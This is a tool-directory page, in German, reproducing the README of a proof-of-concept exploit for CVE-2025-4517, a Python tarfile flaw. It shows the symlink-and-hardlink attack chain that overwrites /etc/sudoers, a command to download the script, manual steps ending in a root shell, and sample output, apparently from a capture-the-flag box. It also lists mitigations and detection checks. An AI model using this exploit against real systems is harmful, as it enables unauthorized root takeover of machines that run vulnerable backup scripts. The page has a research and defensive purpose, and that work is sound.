Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-4517-POC — Privilege-Escalation-Skript für CVE-2025-4517 | Kitploit
Tools/GitHubGitHub/azureadtrent/cve-2025-4517-poc
Privilege EscalationSchwachstellenanalyseExploitationCTFLernen & BildungBinary-Exploitation
GitHubazureadtrent/cve-2025-4517-poc

CVE-2025-4517-POC

Privilege-Escalation-Skript für CVE-2025-4517

Repository anzeigen
9vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-4517 Exploit

HINWEISE

Dieser Exploit und die Beschreibung wurden von KI erstellt. Wenn du einen Fehler oder ein Problem findest, lass es mich bitte wissen! Dieser Exploit wurde getestet und funktioniert nachweislich. Vielen Dank!

Übersicht

Dieser Exploit nutzt CVE-2025-4517 aus, eine kritische Schwachstelle im Python-tarfile-Modul, die durch eine Kombination von Symlink-Pfad-Traversal und Hardlink-Manipulation beliebiges Dateischreiben ermöglicht. Dadurch wird der in Python 3.12 eingeführte Schutz filter="data" umgangen.

Schwachstellendetails

  • CVE-ID: CVE-2025-4517
  • Betroffene Versionen: Python 3.8.0 bis 3.13.1
  • CVSS-Score: 9.3 (Kritisch)
  • Auswirkung: Beliebiges Dateischreiben mit erhöhten Rechten

Technischer Hintergrund

Die Schwachstelle nutzt einen Fehler in der Art und Weise aus, wie Python's tarfile.extractall() die Interaktion zwischen folgenden Elementen behandelt:

  1. Symlinks – Werden verwendet, um einen Pfad-Traversal außerhalb des Extraktionsverzeichnisses zu erzeugen.
  2. Hardlinks – Werden verwendet, um Dateien über den ausgebrochenen Symlink-Pfad zu referenzieren.
  3. Filter-Umgehung – Der Filter filter="data" blockiert direkte Symlink-Ausbrüche, aber die Hardlink-Technik umgeht diesen Schutz.

Angriffsablauf

root@kitploit:~
1. Erstellen tiefer verschachtelter Verzeichnisse (Pfadverwirrung)
   └─ Verwendet 247 Zeichen lange Verzeichnisnamen, 16 Ebenen tief wiederholt

2. Aufbau einer Symlink-Kette für den Traversal
   └─ Erzeugt Symlinks, die durch die Verzeichnisstruktur nach oben auflösen

3. Ausbruch-Symlink zum Zielverzeichnis (/etc)
   └─ Der letzte Symlink zeigt außerhalb der Extraktionsgrenze

4. Erstellen eines Hardlinks, der durch den Ausbruch-Symlink zeigt
   └─ Hardlink: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"

5. Inhalt in den Hardlink schreiben
   └─ Das Schreiben in "sudoers_link" schreibt tatsächlich in /etc/sudoers

Angreifbare Komponente

Skript: /opt/backup_clients/restore_backup_clients.py

root@kitploit:~
# Angreifbarer Code-Ausschnitt
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

Sudo-Berechtigungen:

root@kitploit:~
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Systemdetails

  • Python-Version: 3.12.3 (Anfällig für CVE-2025-4517)

Verwendung

Voraussetzungen

  • Benutzerzugriff mit Sudo-Berechtigungen für das angreifbare Skript
  • Schreibzugriff auf /opt/backup_clients/backups/
  • Python 3 auf dem angreifenden Rechner

Installation

root@kitploit:~
# Exploit herunterladen
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Auf das Zielsystem übertragen

Basisausführung

root@kitploit:~
# Exploit ausführen
./exploit.py

# Oder mit Python
python3 exploit.py

Manuelle Schritt-für-Schritt-Anleitung

Wenn du jeden Schritt lieber manuell ausführen möchtest:

root@kitploit:~
# 1. Exploit-Tar erstellen
python3 exploit.py --create-only

# 2. Auf das Ziel bereitstellen
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar

# 3. Über das angreifbare Skript ausführen
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_9999.tar \
  -r restore_exploit

# 4. Änderungen an sudoers überprüfen
sudo cat /etc/sudoers | grep "$(whoami)"

# 5. Root-Zugriff erhalten
sudo /bin/bash

Ausgabebeispiel

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-4517 Tarfile Exploit                         ║
║     Privilege Escalation via Symlink + Hardlink Bypass    ║
╚═══════════════════════════════════════════════════════════╝

[*] Zielbenutzer: wacky
[*] Erstelle Exploit-Tar für Benutzer: wacky
[*] Phase 1: Erstelle verschachtelte Verzeichnisstruktur...
[*] Phase 2: Erstelle Symlink-Kette für Pfad-Traversal...
[*] Phase 3: Erstelle Ausbruch-Symlink nach /etc...
[*] Phase 4: Erstelle Hardlink auf /etc/sudoers...
[*] Phase 5: Schreibe sudoers-Eintrag...
[+] Exploit-Tar erstellt: /tmp/cve_2025_4517_exploit.tar
[*] Stelle Exploit bereit auf: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit erfolgreich bereitgestellt
[*) Löse Extraktion über angreifbares Skript aus...
[+] Backup: backup_9999.tar
[+] Staging-Verzeichnis: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraktion abgeschlossen in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraktion abgeschlossen
[*] Überprüfe Erfolg des Exploits...
[+] ERFOLG! Benutzer 'wacky' wurde zu sudoers hinzugefügt
[+] Eintrag: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] AUSBEUTUNG ERFOLGREICH!
[+] Benutzer 'wacky' hat jetzt volle Sudo-Rechte
[+] Root-Zugriff mit: sudo /bin/bash
============================================================

[?] Root-Shell jetzt starten? (j/n): j
[*] Starte Root-Shell...
[*] Ausführen: sudo /bin/bash

root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Proof-of-Concept-Ablauf

Stufe 1: Erster Zugriff

  • Zugriff auf Benutzer

Stufe 2: Privilegienausweitung (dieser Exploit)

  • Identifiziere Sudo-Berechtigungen auf dem Backup-Wiederherstellungsskript
  • Erkenne Python-Version, die für CVE-2025-4517 anfällig ist
  • Setze Tar-Exploit ein, um /etc/sudoers zu ändern
  • Erhalte Root-Zugriff

Abhilfemaßnahmen

Für Python-Entwickler

  1. Python aktualisieren: Update auf Python 3.13.2+ oder Sicherheitspatches einspielen
root@kitploit:~
   python3 --version  # Version prüfen
  1. Zusätzliche Validierung: Implementiere strenge Prüfung der Tar-Inhalte
root@kitploit:~
   # Vor der Extraktion auf verdächtige Mitglieder prüfen
   for member in tar.getmembers():
       if member.islnk() or member.issym():
           raise SecurityError("Symlinks/Hardlinks nicht erlaubt")
  1. Extraktionspfade einschränken: Stelle sicher, dass alle extrahierten Dateien innerhalb der Grenzen bleiben
root@kitploit:~
   import os
   for member in tar.getmembers():
       member_path = os.path.join(extract_path, member.name)
       if not member_path.startswith(os.path.abspath(extract_path)):
           raise SecurityError("Pfad-Traversal erkannt")

Für Systemadministratoren

  1. Sudo-Zugriff einschränken: Minimieren Sie Skripte, die als root ausgeführt werden können
root@kitploit:~
   # Sudo-Zugriff des Backup-Skripts entfernen oder einschränken
   visudo
  1. Eingabevalidierung: Überprüfen Sie Tar-Archive vor der Verarbeitung
root@kitploit:~
   # Tar-Inhalt vor Extraktion prüfen
   tar -tzf archive.tar | grep -E '\.\./|^/'
  1. Dateiintegritätsüberwachung: Überwachen Sie kritische Dateien wie /etc/sudoers
root@kitploit:~
   # AIDE oder ähnliches IDS einrichten
   aide --check
  1. AppArmor/SELinux: Implementieren Sie obligatorische Zugriffskontrollen

Referenzen

CVE-Informationen

  • CVE-2025-4517 – NVD
  • CVE-2025-4138 – Verwandte Schwachstelle
  • Python-Sicherheitshinweis

Forschung & Analysen

  • Linux-Sicherheitshinweis
  • Google-Sicherheitsforschung – GHSA-hgqp-3mmf-7h8f

Öffentliche PoCs

  • DesertDemons CVE-2025-4138-4517-POC
  • StealthByte CVE-2025-4517-poc
  • AnimePrincess420 PoC

Rechtlicher Hinweis

Dieser Exploit dient ausschließlich zu Bildungszwecken und ist für folgende Einsätze bestimmt:

  • Autorisierte Penetrationstests
  • Capture-The-Flag(CTF)-Wettbewerbe wie HackTheBox
  • Sicherheitsforschung in kontrollierten Umgebungen
  • Offenlegung von Schwachstellen und Entwicklung von Patches

Die Autoren übernehmen keine Haftung für missbräuchliche Verwendung dieses Codes.

Ursprüngliche Forschung: Mehrere Sicherheitsforscher (siehe Referenzen)

Lizenz

MIT-Lizenz – Siehe LICENSE-Datei für Details


Zuletzt aktualisiert: März 2026

Tool herunterladen